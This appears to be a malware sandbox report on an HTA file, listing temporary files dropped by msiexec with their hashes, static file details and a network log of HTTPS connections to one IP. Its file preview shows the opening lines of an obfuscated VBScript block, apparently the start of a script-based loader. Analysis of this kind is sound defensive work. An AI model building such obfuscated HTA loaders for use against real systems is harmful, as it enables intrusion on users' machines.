SHA1:	D27B9D61CC2431A4AF12EBC0C04E4E63B3F98D02
SHA-256:	312FCF0AB3421E2422B0A4F7D3DA9229CE9B0FBD6C276FC3244C9F18668C040B
SHA-512:	D64804A88D799D628504EF76727234608F9257FD329D460D9D90361D049537D80D054F5E01B905D012A8CFCFAB10FA63FF38F822A69381A43353F0F386E14075
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF197AD723D4889FB8.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.1916471845451735
Encrypted:	false
SSDEEP:	48:XdheuBPveFXJNT5dBRF9US5ogrw9USIMk:HeHlT1REmg
MD5:	5B3ACC5399576C696633B2442B55D005
SHA1:	584B1FF41CC07E934474558C35802250B3651B77
SHA-256:	EB3D66C4E33FFEF6A5F335D1A505F712F25562235854913AD1694DBFAF1DC4CF
SHA-512:	4FB34FE16B040EB7E49E92D3B4709A86142E84FE0D648CB54B17EC526096CEDA946A177A7D907AB1F77A1DDA1ED58B151C8FD64C07B88B679A090B45E9AB5086
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF21FA804D604E8FCB.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF2821B0820444A67C.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.4799607731951114
Encrypted:	false
SSDEEP:	48:X8Ph2uRc06WXJIFT5PBRF9US5ogrw9USIMk:Wh21rFTHREmg
MD5:	01C4DE2856FA7963E8C6157AEFE00DCE
SHA1:	151DCE0178F5AE8E46091FA8CE0A5466CEE16E5F
SHA-256:	B0889D4A545D0ABC19C965CA19018211527DBC7C0A9D5525D3613AE9AF452C89
SHA-512:	A645CEB6E006F7DB2DBC452E0B73A3DAEE1785FCAA10E2C1003E86CAAB7648CFFB5A34A7ABDA7BEA5EF65914BFAD690E9C7006C6559BF300FF20041FB6B6EF68
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF3097BE4E270702A5.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.511140624163187
Encrypted:	false
SSDEEP:	48:88PhYuRc06WXJInT5nBR2s9US5owrbeUJj9US6WeUJ:ThY1rnTvR2Vwe38e
MD5:	1E26B1D1BA7864DCFD0C415C1C323028
SHA1:	531508EC5785C2D92DB43BE0589DE6E79E33E608
SHA-256:	D555A8287D9E07C29371CDC934AEAC3295C614A99C3E6053602BDF23594221C2
SHA-512:	B8291AF2EDFA9CBF5A2C316191116835D9BAADCFFCFEC03CB974E8852E89BE83287BE5EA1A2C124D63E74F8E118FF6A6EBA26B785F615FD23DF0995387FC1E89
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF336E7CB160EC8B55.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2138410690987693
Encrypted:	false
SSDEEP:	48:S8mQujNveFXJvT5gBR2s9US5owrbeUJj9US6WeUJ:NmQvHTKR2Vwe38e
MD5:	4E956F17488C3FFD7633210E6B410CE3
SHA1:	B20467BAE025252985ADADD8A979856F120BA7BA
SHA-256:	1295BDDF699156944E5909ADB02F0B85448D903C8F30F28B8D88D8C1F8D64D4D
SHA-512:	6F07BD19B6C14AD7CB46183F76C1E4EC1A62A6115F625CD7B10AD23C497A0E342BF06BC4D16E583E14D72113B2AE8BFB2160EFAD169BEB8121D0E4FB60ADBECF
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF4285D5634E37FEFD.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF4A155911F278E187.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF4EA0A8D7B3110A9E.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF52C04C9396903BBE.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF53DA607CFA149827.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF554D5AB1622BBEC8.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF5FAD0043E78CD2C0.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF680D4D72477CFC21.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2133711868286718
Encrypted:	false
SSDEEP:	48:L8mQujNveFXJvT5IiBR2TH9US5oHrbeUJj9US6WeUJ:wmQvHTaKR2TCfe38e
MD5:	42A16421EE492B6AEF119538812FEA4C
SHA1:	0D6708F66D887675AA853A55D456F83D148FE605
SHA-256:	1AEE768F98CB4155B57CC952D001F9D72FFCBF1F7C38BB7D020D138F9EA81C68
SHA-512:	EC51CF8D3F4375EABA3AF5B03D0208D6281E0964458D4D5AD4EA67D000C8515E6DC8B6CAE918CCA1C26AE3D6A636511F4F04163722D3027AB5C6C1F272E708A3
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF6F2C6730DB667720.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF71629AF7F4E9180E.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.511140624163187
Encrypted:	false
SSDEEP:	48:88PhYuRc06WXJInT5nBR2s9US5owrbeUJj9US6WeUJ:ThY1rnTvR2Vwe38e
MD5:	1E26B1D1BA7864DCFD0C415C1C323028
SHA1:	531508EC5785C2D92DB43BE0589DE6E79E33E608
SHA-256:	D555A8287D9E07C29371CDC934AEAC3295C614A99C3E6053602BDF23594221C2
SHA-512:	B8291AF2EDFA9CBF5A2C316191116835D9BAADCFFCFEC03CB974E8852E89BE83287BE5EA1A2C124D63E74F8E118FF6A6EBA26B785F615FD23DF0995387FC1E89
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF813ECAEE323E3234.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2138410690987693
Encrypted:	false
SSDEEP:	48:S8mQujNveFXJvT5gBR2s9US5owrbeUJj9US6WeUJ:NmQvHTKR2Vwe38e
MD5:	4E956F17488C3FFD7633210E6B410CE3
SHA1:	B20467BAE025252985ADADD8A979856F120BA7BA
SHA-256:	1295BDDF699156944E5909ADB02F0B85448D903C8F30F28B8D88D8C1F8D64D4D
SHA-512:	6F07BD19B6C14AD7CB46183F76C1E4EC1A62A6115F625CD7B10AD23C497A0E342BF06BC4D16E583E14D72113B2AE8BFB2160EFAD169BEB8121D0E4FB60ADBECF
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF836DA57C607E7265.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2133711868286718
Encrypted:	false
SSDEEP:	48:L8mQujNveFXJvT5IiBR2TH9US5oHrbeUJj9US6WeUJ:wmQvHTaKR2TCfe38e
MD5:	42A16421EE492B6AEF119538812FEA4C
SHA1:	0D6708F66D887675AA853A55D456F83D148FE605
SHA-256:	1AEE768F98CB4155B57CC952D001F9D72FFCBF1F7C38BB7D020D138F9EA81C68
SHA-512:	EC51CF8D3F4375EABA3AF5B03D0208D6281E0964458D4D5AD4EA67D000C8515E6DC8B6CAE918CCA1C26AE3D6A636511F4F04163722D3027AB5C6C1F272E708A3
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8469DB4A793B652E.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.4799607731951114
Encrypted:	false
SSDEEP:	48:X8Ph2uRc06WXJIFT5PBRF9US5ogrw9USIMk:Wh21rFTHREmg
MD5:	01C4DE2856FA7963E8C6157AEFE00DCE
SHA1:	151DCE0178F5AE8E46091FA8CE0A5466CEE16E5F
SHA-256:	B0889D4A545D0ABC19C965CA19018211527DBC7C0A9D5525D3613AE9AF452C89
SHA-512:	A645CEB6E006F7DB2DBC452E0B73A3DAEE1785FCAA10E2C1003E86CAAB7648CFFB5A34A7ABDA7BEA5EF65914BFAD690E9C7006C6559BF300FF20041FB6B6EF68
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF84A2D9079D7B979A.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.1916471845451735
Encrypted:	false
SSDEEP:	48:XdheuBPveFXJNT5dBRF9US5ogrw9USIMk:HeHlT1REmg
MD5:	5B3ACC5399576C696633B2442B55D005
SHA1:	584B1FF41CC07E934474558C35802250B3651B77
SHA-256:	EB3D66C4E33FFEF6A5F335D1A505F712F25562235854913AD1694DBFAF1DC4CF
SHA-512:	4FB34FE16B040EB7E49E92D3B4709A86142E84FE0D648CB54B17EC526096CEDA946A177A7D907AB1F77A1DDA1ED58B151C8FD64C07B88B679A090B45E9AB5086
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8D04FA58E603C05C.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8F1A28B953372226.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2133711868286718
Encrypted:	false
SSDEEP:	48:L8mQujNveFXJvT5IiBR2TH9US5oHrbeUJj9US6WeUJ:wmQvHTaKR2TCfe38e
MD5:	42A16421EE492B6AEF119538812FEA4C
SHA1:	0D6708F66D887675AA853A55D456F83D148FE605
SHA-256:	1AEE768F98CB4155B57CC952D001F9D72FFCBF1F7C38BB7D020D138F9EA81C68
SHA-512:	EC51CF8D3F4375EABA3AF5B03D0208D6281E0964458D4D5AD4EA67D000C8515E6DC8B6CAE918CCA1C26AE3D6A636511F4F04163722D3027AB5C6C1F272E708A3
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8F7AA0BD53C6158A.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	0.12224928850047355
Encrypted:	false
SSDEEP:	24:wTdWe3EJlJ92xipVM92xipV7V2rrwGlLWlrkgbe3EJl3g+H+rV:sWeUJz9USK9US5owrbeUJS2+B
MD5:	D2101E75A98D6CD3BA1737F004FC3A10
SHA1:	72966CB2D5DCD0A951F3DC39CC70C5687C5CC635
SHA-256:	8E59338013103439A5E8B17DBD75C8CA9748CAC3A6EA062A0B0AE642C66A80F5
SHA-512:	5DABC06ED3DE757898F07576D06E70C39EECCD07E2F74C2E63CB4151687668DD14EAE076680C4D972E748D0A074D341A3E40B05AF5C7ECB9129245DD6B420AF2
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8F817BE60B01F7CE.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFAC49C3DDDEB74D01.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2138410690987693
Encrypted:	false
SSDEEP:	48:S8mQujNveFXJvT5gBR2s9US5owrbeUJj9US6WeUJ:NmQvHTKR2Vwe38e
MD5:	4E956F17488C3FFD7633210E6B410CE3
SHA1:	B20467BAE025252985ADADD8A979856F120BA7BA
SHA-256:	1295BDDF699156944E5909ADB02F0B85448D903C8F30F28B8D88D8C1F8D64D4D
SHA-512:	6F07BD19B6C14AD7CB46183F76C1E4EC1A62A6115F625CD7B10AD23C497A0E342BF06BC4D16E583E14D72113B2AE8BFB2160EFAD169BEB8121D0E4FB60ADBECF
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFAE2438E9CF9048BF.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.1916471845451735
Encrypted:	false
SSDEEP:	48:XdheuBPveFXJNT5dBRF9US5ogrw9USIMk:HeHlT1REmg
MD5:	5B3ACC5399576C696633B2442B55D005
SHA1:	584B1FF41CC07E934474558C35802250B3651B77
SHA-256:	EB3D66C4E33FFEF6A5F335D1A505F712F25562235854913AD1694DBFAF1DC4CF
SHA-512:	4FB34FE16B040EB7E49E92D3B4709A86142E84FE0D648CB54B17EC526096CEDA946A177A7D907AB1F77A1DDA1ED58B151C8FD64C07B88B679A090B45E9AB5086
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFBF969366C5941F0C.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFC5788B201FB90E14.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	0.12221096624088641
Encrypted:	false
SSDEEP:	24:wTdWe3EJlJ92xipVM92xipV7V2rrwGsWlrkgbe3EJl3zB+H+rV6:sWeUJz9USK9US5oHrbeUJZB2+B6
MD5:	F7F0B6FFFAD3DB6D5F46AC7B67219CE3
SHA1:	A5FBE899016FB59F431D36A64B8FE65737B804A7
SHA-256:	EBF1EA66457CDD9A8A341BC6E1C075BBA3FBEF6279ED4E676619E71D54DD5B1F
SHA-512:	E6483F3E3E8462B4C5546E9DD7CF31C367A2C7198916F7E2DB03126D14A8138E4F97C1AC805303A34E538F2CDF7F592A86DB0A3BB8D91BE41844F3548DC9B89E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFC6ACB380445F77D8.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFC7A383CE80B854A8.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	0.11041848103754173
Encrypted:	false
SSDEEP:	24:wTHMkh92xipVM92xipV7V2BwG2/lrkgxf+YrrVW:uMkh9USK9US5ogrZJB
MD5:	D23DB16C065EEAEF73C517941E8D056E
SHA1:	3DAED48FC9410867DDA4153F1291F6D9DA9717BB
SHA-256:	EB405300A0C8CB7E747BD8D1829A853128A36AEE335FAB8DBC44B3AF28325A1C
SHA-512:	8F47A46E0DBC702D26F7F4E1765996B8B255CC95C834FC6D7B2342089F0FD9254807FFBE0A52ABACF4F7B230F4545071DD0C7D7CF276C9D785A5F65D741E6232
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFF2B9B58E1C9A5EF4.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFF4F686DB9F31057E.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFF7185671DF239244.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.511071757009978
Encrypted:	false
SSDEEP:	48:d8PhYuRc06WXJInT5HiBR2TH9US5oHrbeUJj9US6WeUJ:AhY1rnTpKR2TCfe38e
MD5:	2ED290C5F2B88E140ACFA3B893BF4450
SHA1:	D27B9D61CC2431A4AF12EBC0C04E4E63B3F98D02
SHA-256:	312FCF0AB3421E2422B0A4F7D3DA9229CE9B0FBD6C276FC3244C9F18668C040B
SHA-512:	D64804A88D799D628504EF76727234608F9257FD329D460D9D90361D049537D80D054F5E01B905D012A8CFCFAB10FA63FF38F822A69381A43353F0F386E14075
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (9735)
Entropy (8bit):	5.498504600109367
TrID:	Visual Basic Script (13500/0) 27.83% HyperText Markup Language (12001/1) 24.74% HyperText Markup Language (12001/1) 24.74% HyperText Markup Language (11001/1) 22.68%
File name:	es.hta
File size:	22'114 bytes
MD5:	10184fe59d8f1d9d1f50d9e373f1c007
SHA1:	94208f885255c808d6ff609956ac6b80cb789573
SHA256:	8bf7d79425114140c858c24114586ac08a9688e4f23b32e95533c97c89b99643
SHA512:	1873389ce97ad4d1b81c38b57993474b70e5d0dbd333d2e1fa1abcb62e819ef69b1bca4c8d54eeb5d7a1c439f96478fd3761feaffa8e627c1724eb7d7d8f18d0
SSDEEP:	384:CcxhZ9NREaeBiDepANfCTN8WQ+t6pZRXhQZzWC:NZ9NREae9ANfCTN8WQ+kpZ5hUzZ
TLSH:	D9A2CDFB3B827BDD8E4309747FCA103ECEB1747A3A104A41C98653E4A9BED4919B5C46
File Content Preview:	<html xmlns="http://www.w3.org/1999/xhtml">.<head>.<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />.<script language="VBScript">.Function XcKcLUBfwv().Dim LUWuIFnraEn.LUWuIFnraEn = 21513.Dim affpNfbJNpUOYsoFv.affpNfbJNpUOYsoFv = 51460

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 00:57:59.869293928 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:57:59.869343042 CET	443	49730	162.159.140.237	192.168.2.4
